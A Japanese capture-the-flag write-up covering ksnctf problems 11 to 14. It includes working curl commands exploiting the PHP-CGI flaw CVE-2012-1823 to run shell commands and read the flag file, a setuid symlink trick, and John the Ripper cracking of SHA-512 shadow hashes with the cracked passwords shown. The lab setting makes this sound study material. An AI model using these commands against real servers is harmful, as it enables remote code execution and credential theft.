ksnctf writeup (problem 11 -- 20)

https://ksnctf.sweetduet.info/ の問題の write-up です。 ソースコード等は https://github.com/gky360/study_ctf/tree/master/knsctf にあげています。

11. Riddle

問題概要

exeが与えられます。 起動すると、クイズが4問順に出てきて、正解すると次に進めます。

  • 1問目: Which creature in the morning goes on four feet, at noon on two, and in the evening upon three?
  • 2問目: What is the largest island in the world?
  • 3問目: Answer to the Ultimate Question of Life, The Universe, and Everything.
  • 4問目: What is the flag?

ポイント

解法

IDA などを使ってバイナリ解析をしていきます。 mac使いの私は vagrant で構築した windows にIDAを入れて使いました。 Vagrantfile は こちら

4問目以外の正解はwikipediaなどで調べると出てきます。

  • 1問目: Which creature in the morning goes on four feet, at noon on two, and in the evening upon three?
    • => 正解: Human
  • 2問目: What is the largest island in the world?
    • => 正解: Greenland
  • 3問目: Answer to the Ultimate Question of Life, The Universe, and Everything.
    • => 正解: 42
  • 4問目: What is the flag?
    • => 知りません。

以下の記事を参考にフラグだけは求めましたが、精進が足りていなのでまだ理解はできていません。。

aithea.hatenablog.com

12. Hypertext Preprocessor

問題概要

謎の文字列が表示されているページが与えられる。 ページのタイトルは「Clock」。

ポイント

解法

与えられたページにアクセスすると、 2012:1823:20:19:04:25:13:31:54:45:30:27:34 のような謎の文字列が表示されます。 最初の 2012:1823 を除けば、2019年04月25日... というように「Clock」になっていそうですが、 2012:1823: は何なのでしょう。 ぐぐってみると、実はこれは CVE (Common Vulnerabilities and Exposures) の番号であるとわかります。

NVD - CVE-2012-1823php脆弱性で、 phpで立てたcgiのurlのクエリパラメタに = が含まれない場合、その文字列がコマンドラインオプションとして認識されるというものです。 つまり、 http://example.com/index.php?a+b+c にアクセスすると、 php index.php a b c が実行したこととおなじになるということです。 ヤバそうな脆弱性です。

http://ctfq.sweetduet.info:10080/~q12/index.php?-s にアクセスしてみます。 これは、 php -s index.php と同じ意味になります。 -s オプションはphpソースコードを出力するというオプションなので、ソースコードを見ることができます。 3行目に // Flag is in this directory. というヒントがあります。

脆弱性を利用して任意のコマンドを実行するにはどうすればいいでしょうか。 答えから言うと、例えば ls -la を実行する場合以下のようになります。

curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -la'); ?>"

クエリパラメタの部分を読み解いていきましょう。 これは、 -d allow_url_include=On -d auto_prepend_file=php://input というオプションを渡したことになります。 -dphp.ini のディレクティブをコマンドライン上で定義できるオプションです。 したがって、php.ini に以下を追加したのと同じ意味になります。

allow_url_include=On
auto_prepend_file=php://input

allow_url_include=On で include するファイルをURL指定できるようになります。 auto_prepend_file=php://input php実行の最初に php://input の内容が実行されるようになります。 php://input はHTTPのリクエストbodyを指します。 以上より、先程の curl コマンドで ls -la が実行されるというわけです。

$ curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('ls -la'); ?>"
total 18668
dr-x--x--x 2 q12  q12      4096 Apr 25 22:50 .
drwx--x--x 3 root root     4096 Apr 25 22:50 ..
-r--r--r-- 1 q12  q12        90 Apr 25 22:50 .htaccess
-r-------- 1 q12  q12        22 Apr 25 22:50 flag_flag_flag.txt
-r-xr-xr-x 1 q12  q12       600 Apr 25 22:50 index.php
-r-xr-xr-x 1 q12  q12  19093315 Apr 25 22:50 php.cgi

<!DOCTYPE html>
<html>
  <head>
後略 ...

cat flag_flag_flag.txt を実行すれば、フラグがゲットできそうだということが分かります。 以下のコマンドでフラグがゲットできます。

curl "http://ctfq.sweetduet.info:10080/~q12/index.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input" -X POST -d "<?php system('cat flag_flag_flag.txt'); ?>"

ちなみに、PHPPHP: Hypertext Preprocessor の略なので、今回もまたタイトルがびみょーにヒントになっていたわけです。

References

13. Proverb

問題概要

ssh の user/pass が与えられる。 ホームディレクトリは以下のような感じ。

[q13@localhost ~]$ ls -la
total 48
drwxr-xr-x   2 root root  4096 Jun  1  2012 .
drwxr-xr-x. 17 root root  4096 Oct  6  2014 ..
-rw-r--r--   1 root root    18 May 11  2012 .bash_logout
-rw-r--r--   1 root root   176 May 11  2012 .bash_profile
-rw-r--r--   1 root root   124 May 11  2012 .bashrc
-r--------   4 q13a q13a    22 Jun  1  2012 flag.txt
---s--x--x   4 q13a q13a 14439 Jun  1  2012 proverb
-r--r--r--   2 root root   755 Jun  1  2012 proverb.txt
-r--r--r--   1 root root   151 Jun  1  2012 readme.txt

proverb を実行すると、 proverb.txt に書かれたことわざをランダムに1行分表示する。

ポイント

解法

proverbパーミッション---s--x--x になっています。 s は setuid を意味していて、このプログラムは実行するユーザではなくowner(今回は q13a)の権限で実行されます。 proverb.txt の代わりに flag.txt を proverb に読み込ませる事ができれば、 flag.txt の内容が表示できそうです。 これはシンボリックリンクを使うことで実現できます。

書き込み権限がある /tmp に移動して、適当なディレクトリを作ります。 今回は /tmp/xxx を作ったとします。 新しく作ったディレクトリ下で以下のコマンドを実行すれば、 flag.txt を proverb.txt の代わりに表示させる事ができます。

ln -sf ~/flag.txt proverb.txt
~/proverb

14. John

問題概要

以下のような文字列が与えられる。

user00:$6$Z4xEy/1KTCW.rz$Yxkc8XkscDusGWKan621H4eaPRjHc1bkXDjyFtcTtgxzlxvuPiE1rnqdQVO1lYgNOzg72FU95RQut93JF6Deo/:15491:0:99999:7:::
user01:$6$ffl1bXDBqKUiD$PoXP69PaxTTX.cgzYS6Tlj7UBvstr6JruGctoObFXCr4cYXjIbxBSMiQZiVkKvUxXUC23zP8PUyXjq6qEq63u1:15491:0:99999:7:::
user02:$6$ZsJXadT/rv$T/2gVzYwMBaAsZnHIjnUSmTozIF/ebMvtHIJjikFehvB8pvy28DUIQYbTJLG6QAxhzJAKOROnZq0xV4hUGefM1:15491:0:99999:7:::
user03:$6$l0NHH5FF0H/U$fPv3c5Cdls/UaZmglR4Qqh8vhpIBsmY1sEjHi486ZcDQ2Vx5GY0fcQYSorWj6l42jfI47w437n.NBm8NArFyT/:15491:0:99999:7:::
...
user99:$6$SHA512IsStrong$DictionaryIsHere.http//ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt:15491:0:99999:7:::

ポイント

解法

与えられた文字列は passwd ファイルの形式になっています。linuxをいじったことがあればピンとくるでしょう。

ただ、最後の行だけ毛色がちがっていて、問題のヒントになっています。 「SHA512 is strong」 という文字列と http://ksnctf.sweetduet.info/q/14/dicti0nary_8Th64ikELWEsZFrf.txt という URL が読み取れます。 URLの方は単語が羅列された辞書ファイルになっています。

ここで、問題タイトルの「John」に着目します。 「John sha512」などでぐぐると、 John the ripper というパスワード解析ツールが存在することが分かります。 どうやら、 john に先のURLの単語ファイルを辞書として与えて問題文のパスワードをクラックすれば良さそうです。

以下のコマンドで john を使って passwd ファイルの暗号化されたパスワードを解析することができます。

cd path/to/john
cd run
./john --wordlist=<単語ファイルのパス> <問題文を保存したファイルのパス> # 1分くらいで解析が終わる

解析結果は以下のコマンドで確認できます。

./john --show <問題文を保存したファイルのパス>

解析結果は下記のとおりです。 解析されたパスワードの頭文字をつなげるとフラグになります。

user00:FREQUENT:15491:0:99999:7:::
user01:LATTER:15491:0:99999:7:::
user02:ADDITIONAL:15491:0:99999:7:::
user03:GENDER:15491:0:99999:7:::
user04:__________:15491:0:99999:7:::
user05:applies:15491:0:99999:7:::
user06:SPIRITS:15491:0:99999:7:::
user07:independent:15491:0:99999:7:::
user08:ultimate:15491:0:99999:7:::
user09:JENNY:15491:0:99999:7:::
user10:HELD:15491:0:99999:7:::
user11:SUFFERS:15491:0:99999:7:::
user12:LEAVE:15491:0:99999:7:::
user13:floating:15491:0:99999:7:::
user14:zecht:15491:0:99999:7:::
user15:opinion:15491:0:99999:7:::
user16:QUESTION:15491:0:99999:7:::
user17:karaoke:15491:0:99999:7:::
user18:strange:15491:0:99999:7:::
user19:zero:15491:0:99999:7:::
user20:DELIGHT:15491:0:99999:7:::

21 password hashes cracked, 1 left

ちなみに、john を mac でビルドする / brew で入れる のはいずれもうまくいきませんでした。 linux で john 1.9.0 のソースをビルドして使用するのがおすすめです。